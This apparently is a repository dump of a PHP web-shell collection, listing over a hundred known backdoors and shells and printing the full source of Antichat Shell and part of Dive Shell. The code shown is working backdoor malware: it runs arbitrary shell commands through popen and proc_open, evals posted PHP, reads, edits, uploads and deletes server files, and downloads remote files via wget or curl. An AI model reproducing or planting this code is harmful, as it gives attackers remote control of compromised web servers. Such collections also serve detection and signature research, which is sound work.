├── .gitmodules
├── Collection
├── 529.php
├── AK-74.php
├── Ajax_PHP_Command_Shell.php
├── Antichat_Shell.php
├── Ayyildiz_Tim.php
├── CasuS-1.5.php
├── CrystalShell.php
├── DTool_Pro.php
├── Dive_Shell.php
├── GFS_web-shell.php
├── GRP_WebShell.php
├── Gamma_Web_Shell.php
├── JspWebshell_1.2.php
├── KA_uShell_0.1.6.php
├── Loaderz_WEB_Shell.php
├── Mackers_Private_Shell.php
├── Moroccan_Spamers.php
├── MySQL_Web_Interface.php
├── MyShell.php
├── Mysql_interface_v1.0.php
├── NCC-Shell.php
├── NGH.php
├── NTDaddy_v1.9.php
├── Non-alphanumeric.php
├── PHANTASMA.php
├── PHPRemoteView.php
├── PHP_Shell.php
├── PHVayv.php
├── PhpSpy.php
├── Predator.php
├── Rootshell.v.1.0.php
├── STNC_WebShell_v0.8.php
├── Safe0ver_Shell.php
├── Safe_Mode_Bypass.php
├── SimAttacker.php
├── SimShell.php
├── Simple-Webshell.php
├── Simple_PHP_backdoor.php
├── Sincap_1.0.php
├── Small_Web_Shell.php
├── Uploader.php
├── WinX_Shell.php
├── Worse_Linux_Shell.php
├── ZyklonShell.php
├── aZRaiLPhp_v1.0.php
├── accept_language.php
├── alfa3.php
├── andela.php
├── aspydrv.php
├── b374k-mini-shell.php
├── backupsql.php
├── bloodsecv4.php
├── by.php
├── c0derz_shell.php
├── c99_locus7s.php
├── c99_madnet.php
├── c99ud.php
├── cgitelnet.php
├── cmd.php
├── configkillerionkros.php
├── cpanel.php
├── cw.php
├── cybershell.php
├── dC3_Security.php
├── easy-simple-php-webshell.php
├── erne.php
├── ex0shell.php
├── fatal.php
├── ftpsearch.php
├── g00nshell-v1.3.php
├── go-shell.php
├── h4ntu_shell.php
├── hiddens_shell.php
├── ironshell.php
├── jspshell.jsp
├── kral.php
├── lamashell.php
├── lifkaS.php
├── load_shell.php
├── lolipop.php
├── lostDC.php
├── matamu.php
├── megabor.php
├── mini.php
├── mysql_tool.php
├── nshell.php
├── obfuscated-punknopass.php
├── pHpINJ.php
├── php-backdoor.php
├── php-findsock-shell.php
├── php-include-w-shell.php
├── php-reverse-shell.php
├── php-web-shell.php
├── punk-nopass.php
├── punkholic.php
├── pws.php
├── qsd-backdoor.php
├── r57.php
├── robots.php
├── rootshell.php
├── ru24_post_sh.php
├── s72_Shell.php
├── safe0ver.php
├── simattacker.php
├── simple-backdoor.php
├── simple_cmd.php
├── small.php
├── smevk.php
├── soldierofallah.php
├── sosyete.php
├── spygrup.php
├── stres.php
├── toolaspshell.php
├── tryag.php
├── web-shell.php
├── wso2.8.5.php
├── wwwolf-webshell.php
├── zaco.php
├── zacosmall.php
└── zehir4.php
└── README.md
/.gitmodules:
--------------------------------------------------------------------------------
1 | [submodule "b374k"]
2 | path = b374k
3 | url = https://github.com/b374k/b374k
4 |
--------------------------------------------------------------------------------
/Collection/529.php:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/JohnTroony/php-webshells/226a15d0684e2f893caed0b94fbbf0037b89adea/Collection/529.php
--------------------------------------------------------------------------------
/Collection/AK-74.php:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/JohnTroony/php-webshells/226a15d0684e2f893caed0b94fbbf0037b89adea/Collection/AK-74.php
--------------------------------------------------------------------------------
/Collection/Antichat_Shell.php:
--------------------------------------------------------------------------------
1 |
11 | BODY{
12 | background-color: #2B2F34;
13 | color: #C1C1C7;
14 | font: 8pt verdana, geneva, lucida, \'lucida grande\', arial, helvetica, sans-serif;
15 | MARGIN-TOP: 0px;
16 | MARGIN-BOTTOM: 0px;
17 | MARGIN-LEFT: 0px;
18 | MARGIN-RIGHT: 0px;
19 | margin:0;
20 | padding:0;
21 | scrollbar-face-color: #336600;
22 | scrollbar-shadow-color: #333333;
23 | scrollbar-highlight-color: #333333;
24 | scrollbar-3dlight-color: #333333;
25 | scrollbar-darkshadow-color: #333333;
26 | scrollbar-track-color: #333333;
27 | scrollbar-arrow-color: #333333;
28 | }
29 | input{
30 | background-color: #336600;
31 | font-size: 8pt;
32 | color: #FFFFFF;
33 | font-family: Tahoma;
34 | border: 1 solid #666666;
35 | }
36 | select{
37 | background-color: #336600;
38 | font-size: 8pt;
39 | color: #FFFFFF;
40 | font-family: Tahoma;
41 | border: 1 solid #666666;
42 | }
43 | textarea{
44 | background-color: #333333;
45 | font-size: 8pt;
46 | color: #FFFFFF;
47 | font-family: Tahoma;
48 | border: 1 solid #666666;
49 | }
50 | a:link{
51 |
52 | color: #B9B9BD;
53 | text-decoration: none;
54 | font-size: 8pt;
55 | }
56 | a:visited{
57 | color: #B9B9BD;
58 | text-decoration: none;
59 | font-size: 8pt;
60 | }
61 | a:hover, a:active{
62 | width: 100%;
63 | background-color: #A8A8AD;
64 |
65 |
66 | color: #E7E7EB;
67 | text-decoration: none;
68 | font-size: 8pt;
69 | }
70 | td, th, p, li{
71 | font: 8pt verdana, geneva, lucida, \'lucida grande\', arial, helvetica, sans-serif;
72 | border-color:black;
73 | }
74 | ';
75 | $header='
'.getenv("HTTP_HOST").' - Antichat Shell'.$style.'';
76 | $footer='';
77 |
78 | //error parser
79 | $filext="File already exists.";
80 | $uploadok="File was successfully uploaded.";
81 | $dircrt="Dir is created.";
82 | $dircrterr="Don't create dir.";
83 | $dirnf="Dir not found.";
84 | $empty="Directory not empty or access denide.";
85 | $deletefileok="File deleted";
86 | $deletedirok="Dir deleted";
87 | //end error parser
88 |
89 | //auth
90 | if(@$_POST['action']=="exit")unset($_SESSION['an']);
91 | if($auth==1){if(@$_POST['login']==$login && @$_POST['password']==$password)$_SESSION['an']=1;}else $_SESSION['an']='1';
92 | if(@$_SESSION['an']==0){
93 | echo $header;
94 | echo '';
95 | echo $footer;
96 | exit;}
97 | //end auth
98 |
99 | function createdir($dir){if(@mkdir($dir))echo $GLOBALS['dircrt']." "; else echo $GLOBALS['dircrterr']." ";}
100 |
101 |
102 |
103 | if($_SESSION['action']=="")$_SESSION['action']="viewer";
104 | if(@$_POST['action']!="" )$_SESSION['action']=$_POST['action'];$action=$_SESSION['action'];
105 | if(@$_POST['dir']!="")$_SESSION['dir']=$_POST['dir'];$dir=$_SESSION['dir'];
106 |
107 | $dir=chdir($dir);
108 | $dir=getcwd()."/";
109 | $dir=str_replace("\\","/",$dir);
110 |
111 |
112 |
113 |
114 |
115 |
116 | //crdir
117 |
118 |
119 | if(@$_POST['file']!=""){$file=$_SESSION['file']=$_POST['file'];}else {$file=$_SESSION['file']="";}
120 |
121 | //Current type OS
122 | if(strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') $win=1; else $win=0;
123 |
124 |
125 |
126 |
127 |
128 |
129 |
130 | //downloader
131 | if($action=="download"){
132 | header('Content-Length:'.filesize($file).'');
133 | header('Content-Type: application/octet-stream');
134 | header('Content-Disposition: attachment; filename="'.$file.'"');
135 | readfile($file);
136 | }
137 | //end downloader
138 |
139 | //delete file
140 | if($action=="delete"){
141 | if(unlink($file)) $msgnotice.=$deletefileok;
142 | }
143 | //end delete
144 |
145 | //delete dir
146 | if($action=="deletedir"){
147 | if(!rmdir($file)) $msgnotice.=$GLOBALS['empty'];else $msgnotice.=$deletedirok;
148 |
149 | }
150 | //end delete
151 | ?>
152 |
153 | echo $header;?>
154 |
155 |
167 |
172 |
173 |
174 |
175 |
176 |
177 |
178 | //shell
179 | function shell($cmd){
180 | if (!empty($cmd)){
181 | $fp = popen($cmd,"r");
182 | {
183 | $result = "";
184 | while(!feof($fp)){$result.=fread($fp,1024);}
185 | pclose($fp);
186 | }
187 | $ret = $result;
188 | $ret = convert_cyr_string($ret,"d","w");
189 | }
190 | return $ret;}
191 |
192 | if($action=="shell"){
193 | echo "";}
198 | //end shell
199 |
200 |
201 | //viewer FS
202 | function perms($file)
203 | {
204 | $perms = fileperms($file);
205 | if (($perms & 0xC000) == 0xC000) {$info = 's';}
206 | elseif (($perms & 0xA000) == 0xA000) {$info = 'l';}
207 | elseif (($perms & 0x8000) == 0x8000) {$info = '-';}
208 | elseif (($perms & 0x6000) == 0x6000) {$info = 'b';}
209 | elseif (($perms & 0x4000) == 0x4000) {$info = 'd';}
210 | elseif (($perms & 0x2000) == 0x2000) {$info = 'c';}
211 | elseif (($perms & 0x1000) == 0x1000) {$info = 'p';}
212 | else {$info = 'u';}
213 | $info .= (($perms & 0x0100) ? 'r' : '-');
214 | $info .= (($perms & 0x0080) ? 'w' : '-');
215 | $info .= (($perms & 0x0040) ?(($perms & 0x0800) ? 's' : 'x' ) :(($perms & 0x0800) ? 'S' : '-'));
216 | $info .= (($perms & 0x0020) ? 'r' : '-');
217 | $info .= (($perms & 0x0010) ? 'w' : '-');
218 | $info .= (($perms & 0x0008) ?(($perms & 0x0400) ? 's' : 'x' ) :(($perms & 0x0400) ? 'S' : '-'));
219 | $info .= (($perms & 0x0004) ? 'r' : '-');
220 | $info .= (($perms & 0x0002) ? 'w' : '-');
221 | $info .= (($perms & 0x0001) ?(($perms & 0x0200) ? 't' : 'x' ) :(($perms & 0x0200) ? 'T' : '-'));
222 | return $info;
223 | }
224 |
225 | function view_size($size)
226 | {
227 | if($size >= 1073741824) {$size = @round($size / 1073741824 * 100) / 100 . " GB";}
228 | elseif($size >= 1048576) {$size = @round($size / 1048576 * 100) / 100 . " MB";}
229 | elseif($size >= 1024) {$size = @round($size / 1024 * 100) / 100 . " KB";}
230 | else {$size = $size . " B";}
231 | return $size;
232 | }
233 |
234 | function scandire($dir){
235 |
236 |
237 |
238 | echo "";
276 | }}}
277 |
278 | if($action=="viewer"){
279 | scandire($dir);
280 | }
281 | //end viewer FS
282 |
283 | //editros
284 | if($action=="editor"){
285 | function writef($file,$data){
286 | $fp = fopen($file,"w+");
287 | fwrite($fp,$data);
288 | fclose($fp);
289 | }
290 | function readf($file){
291 | if(!$le = fopen($file, "r")) $contents="Can't open file, permission denide"; else {
292 | $contents = fread($le, filesize($file));
293 | fclose($le);}
294 | return htmlspecialchars($contents);
295 | }
296 | if(@$_POST['save'])writef($file,$_POST['data']);
297 | echo "";
302 | }
303 | //end editors
304 |
305 | //upload
306 | if($action=="upload"){
307 | if(@$_POST['dirupload']!="") $dirupload=$_POST['dirupload'];else $dirupload=$dir;
308 | $form_win=" |
|
New file name: |
|
";
309 | if($GLOBALS['win']==1)echo $form_win;
310 | if($GLOBALS['win']==0){
311 | echo $form_win;
312 | echo 'File addres:
313 | |
';
314 | }
315 |
316 | if(@$_POST['uploadloc']){
317 | if(@$_POST['filename']=="") $uploadfile = $dirupload.basename($_FILES['file']['name']); else
318 | $uploadfile = $dirupload."/".$_POST['filename'];
319 |
320 | if(!file_exists($dirupload)){createdir($dirupload);}
321 | if(file_exists($uploadfile))echo $GLOBALS['filext'];
322 | elseif (move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile))
323 | echo $GLOBALS['uploadok'];
324 | }
325 |
326 | if(@$_POST['upload']){
327 | if (!empty($_POST['with']) && !empty($_POST['urldown']) && !empty($_POST['filename']))
328 | switch($_POST['with'])
329 | {
330 | case wget:
331 | shell(which('wget')." ".$_POST['urldown']." -O ".$_POST['filename']."");
332 | break;
333 | case fetch:
334 | shell(which('fetch')." -o ".$_POST['filename']." -p ".$_POST['urldown']."");
335 | break;
336 | case lynx:
337 | shell(which('lynx')." -source ".$_POST['urldown']." > ".$_POST['filename']."");
338 | break;
339 | case links:
340 | shell(which('links')." -source ".$_POST['urldown']." > ".$_POST['filename']."");
341 | break;
342 | case GET:
343 | shell(which('GET')." ".$_POST['urldown']." > ".$_POST['filename']."");
344 | break;
345 | case curl:
346 | shell(which('curl')." ".$_POST['urldown']." -o ".$_POST['filename']."");
347 | break;
348 | }
349 | }
350 |
351 | }
352 | //end upload section
353 |
354 |
355 | if($action=="phpeval"){
356 | echo "
357 | ";}
363 | if(@$_POST['phpev']!=""){echo eval($_POST['phpev']);}
364 | ?>
365 |
366 | echo $footer;?>
--------------------------------------------------------------------------------
/Collection/Ayyildiz_Tim.php:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/JohnTroony/php-webshells/226a15d0684e2f893caed0b94fbbf0037b89adea/Collection/Ayyildiz_Tim.php
--------------------------------------------------------------------------------
/Collection/CasuS-1.5.php:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/JohnTroony/php-webshells/226a15d0684e2f893caed0b94fbbf0037b89adea/Collection/CasuS-1.5.php
--------------------------------------------------------------------------------
/Collection/CrystalShell.php:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/JohnTroony/php-webshells/226a15d0684e2f893caed0b94fbbf0037b89adea/Collection/CrystalShell.php
--------------------------------------------------------------------------------
/Collection/Dive_Shell.php:
--------------------------------------------------------------------------------
1 | array('pipe', 'w'),
65 | 2 => array('pipe', 'w')),
66 | $io);
67 |
68 |
69 | while (!feof($io[1])) {
70 | $_SESSION['output'] .= htmlspecialchars(fgets($io[1]),
71 | ENT_COMPAT, 'UTF-8');
72 | }
73 |
74 | while (!feof($io[2])) {
75 | $_SESSION['output'] .= htmlspecialchars(fgets($io[2]),
76 | ENT_COMPAT, 'UTF-8');
77 | }
78 |
79 | fclose($io[1]);
80 | fclose($io[2]);
81 | proc_close($p);
82 | }
83 | }
84 |
85 |
86 | if (empty($_SESSION['history'])) {
87 | $js_command_hist = '""';
88 | } else {
89 | $escaped = array_map('addslashes', $_SESSION['history']);
90 | $js_command_hist = '"", "' . implode('", "', $escaped) . '"';
91 | }
92 |
93 |
94 | header('Content-Type: text/html; charset=UTF-8');
95 |
96 | echo '' . "\n";
97 | ?>
98 |
99 |
100 | Dive Shell - Emperor Hacking Team
101 |
102 |
103 |
132 |
133 |
134 |
135 |
136 |
137 |
138 |
139 |
140 |
141 |
142 |